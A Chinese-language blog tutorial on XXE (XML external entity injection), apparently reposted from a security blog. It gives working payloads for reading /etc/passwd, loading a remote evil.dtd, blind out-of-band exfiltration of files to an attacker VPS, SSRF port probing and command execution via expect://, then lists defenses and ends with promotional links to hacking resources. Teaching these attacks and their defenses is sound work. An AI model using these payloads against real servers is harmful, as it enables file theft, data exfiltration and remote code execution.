Web漏洞|XXE漏洞详解(XML外部实体注入),从零基础到精通,收藏这篇就够了!

===

目录

XXE

XXE漏洞演示利用(任意文件读取)

Blind OOB XXE

目录浏览和任意文件读取

端口扫描

远程代码执行

XXE漏洞的挖掘

XXE的防御


在学习XXE漏洞之前,我们先了解下XML。传送门——> XML和JSON数据格式

那么什么是XXE漏洞呢?

01

XXE

XXE(XML External Entity Injection)也就是XML外部实体注入,XXE漏洞发生在应用程序解析XML输入时,XML文件的解析依赖libxml 库,而 libxml2.9 以前的版本默认支持并开启了对外部实体的引用,服务端解析用户提交的XML文件时,未对XML文件引用的外部实体(含外部一般实体和外部参数实体)做合适的处理,并且实体的URL支持 file:// 和 ftp:// 等协议,导致可加载恶意外部文件 和 代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件

那么如何构建外部实体注入呢?

方式一:直接通过DTD外部实体声明



`<?xml version="1.0"?>``<!DOCTYPE a[`    `<!ENTITY b SYSTEM "file:///etc/passwd">``]>``<a>&b;</a>`



方式二:(一般实体)通过DTD外部实体声明引入外部DTD文档,再引入外部实体声明

<?xml version="1.0"?><!DOCTYPE a [       <!ENTITY b SYSTEM "http://mark4z5.com/evil.dtd">]> <a>&b;</a>     #而http://mark4z5.com/evil.dtd内容为<!ENTITY b SYSTEM "file:///etc/passwd">

方式三:(参数实体)通过DTD外部实体声明引入外部DTD文档,再引入外部实体声明

<?xml version="1.0"?><!DOCTYPE a [    <!ENTITY %b SYSTEM "http://mark4z5.com/evil.dtd">]><a>%b;</a>     #http://mark4z5.com/evil.dtd文件内容<!ENTITY b SYSTEM "file:///etc/passwd">

XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。

支持的协议

其中php支持的协议会更多一些,但需要一定的扩展支持

02

XXE漏洞演示利用(任意文件读取)

以下是一个简单的XML代码POST请求示例,上述代码将交由服务器的XML处理器解析。代码被解释并有回显数据。

这里我们引用外部DTD实体,并且将 email 的值修改为引用外部实体的值 &file; 因为,返回包会返回email的值,所以返回包会读取我们引用的 /etc/passwd 的值返回给我们,造成了任意文件读取。

利用详情:XXE漏洞利用

03

Blind XXE

如上例所示,服务器将 /etc/passwd 文件的内容作为响应返回给我们的XXE。但是在大多数情况下,即使服务器可能存在XXE漏洞,服务器也不会向攻击者的浏览器返回任何响应。遇到这种情况,可以实现OOB(out-of-band)信息传递和通过构造dtd从错误信息获取数据。无论是OOB、还是基于错误的方式,都需要引入外部DTD文件。

  • OOB(Out-Of-Band):我们可以使用 Blind XXE 漏洞来构建一条外带数据OOB(Out-Of-Band)通道来读取数据。

  • 错误获取数据:通过构造dtd然后从错误中获取数据

通过OOB进行目录浏览和任意文件读取

注:Linux机器可以目录浏览和任意文件读取,Windows机器只能任意文件读取

Blind XXE是由于虽然目标服务器加载了XML数据,但是不回显读取的数据。那么,我们是否可以想其他的办法,将服务器读取的数据传送给我们的VPS呢?

于是,我们想到了如下:

VPS的操作

首先,在我们的VPS上搭建一个Http服务,然后创建一个xml.dtd文件,内容如下



`<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://VPS的地址:2121/%file;'>">``%all;`



然后在VPS上用python在2121端口起另一个http服务

POST提交的数据



`<?xml version="1.0"?>``<!DOCTYPE message [`    `<!ENTITY % remote SYSTEM "http://VPS的http服务/xml.dtd">``    <!ENTITY % file SYSTEM "file:///C:/Users/mi/Desktop/1.txt">`    `%remote;`    `%send;``]>`



但是如果读取的文件数据有空格的话,这样的读不出来的,所以我们可以用base64编码



`<?xml version="1.0"?>``<!DOCTYPE message [`    `<!ENTITY % remote SYSTEM "http://VPS的http服务/xml.dtd">``    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/Users/mi/Desktop/1.txt">`    `%remote;`    `%send;``]>`



然后对base64进行解码

如果目标是JAVA环境的话,建议采用FTP协议。

相关文章:利用Blind XXE Getshell

端口扫描

在第一个示例中,我们通过URI将请求指向了/etc/passwd文件,并最终成功的为我们返回了文件中的内容。除此之外,我们也可以使用 http URI 并强制服务器向我们指定的端点和端口发送GET请求,将 XXE 转换为SSRF(服务器端请求伪造)。

以下代码将尝试与端口通信,根据响应时间/长度,攻击者将可以判断该端口是否已被开启。



`<?xml version="1.0"?>``<!DOCTYPE GVI [`    `<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >``]>`



如下,探测本地81端口是否开放,如果不开放,则响应时间比较久

探测本地80端口,开放,响应时间很快速

远程代码执行

这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。如果我们足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令:



`<?xml version="1.0"?>``<!DOCTYPE GVI [ <!ELEMENT foo ANY >``<!ENTITY xxe SYSTEM "expect://id" >]>``<catalog>`   `<core id="test101">`      `<author>John, Doe</author>`      `<title>I love XML</title>`      `<category>Computers</category>`      `<price>9.99</price>`      `<date>2018-10-01</date>`      `<description>&xxe;</description>`   `</core>``</catalog>`



响应:



`{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...`



04

XXE漏洞的挖掘

通过手工篡改网站中xml实体中的头部,加入相关的读取文件或者是链接,或者是命令执行等,如file:///$path/file.txt;http://url/file.txt;看看能否显示出来

05

XXE的防御

XML解析库在调用时严格禁止对外部实体的解析。

方案一:使用开发语言提供的禁用外部实体的方法



`PHP:``libxml_disable_entity_loader(true);`     `JAVA:``DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();``dbf.setExpandEntityReferences(false);`     `Python:``from lxml import etree``xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))`



方案二:过滤用户提交的XML数据

 关键词:<!DOCTYPE  和  <!ENTITY  或者  SYSTEM和PUBLIC。  

参考文章:XXE漏洞利用技巧:从XML到远程代码执行

              xxe漏洞的学习与利用总结

相关文章:XXE之利用本地DTD进行文件读取

             Blind XXE详解与Google CTF一道题分析

             从Blind XXE漏洞到读取Root文件的系统提权


来源:谢公子的博客

责编:Zuo

题外话

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

在这里插入图片描述

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我们和网安大厂360共同研发的网安视频教程,之前都是内部资源,专业方面绝对可以秒杀国内99%的机构和个人教学!全网独一份,你不可能在网上找到这么专业的教程。

内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频,200多G的资源,不用担心学不全。
在这里插入图片描述
因篇幅有限,仅展示部分资料,需要见下图即可前往获取
在这里插入图片描述

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

在这里插入图片描述

因篇幅有限,仅展示部分资料,需要见下图即可前往获取
在这里插入图片描述

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包,需要的话见下图即可前往获取
在这里插入图片描述

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

在这里插入图片描述

因篇幅有限,仅展示部分资料,需要见下图即可前往获取
在这里插入图片描述

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
————————————————

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值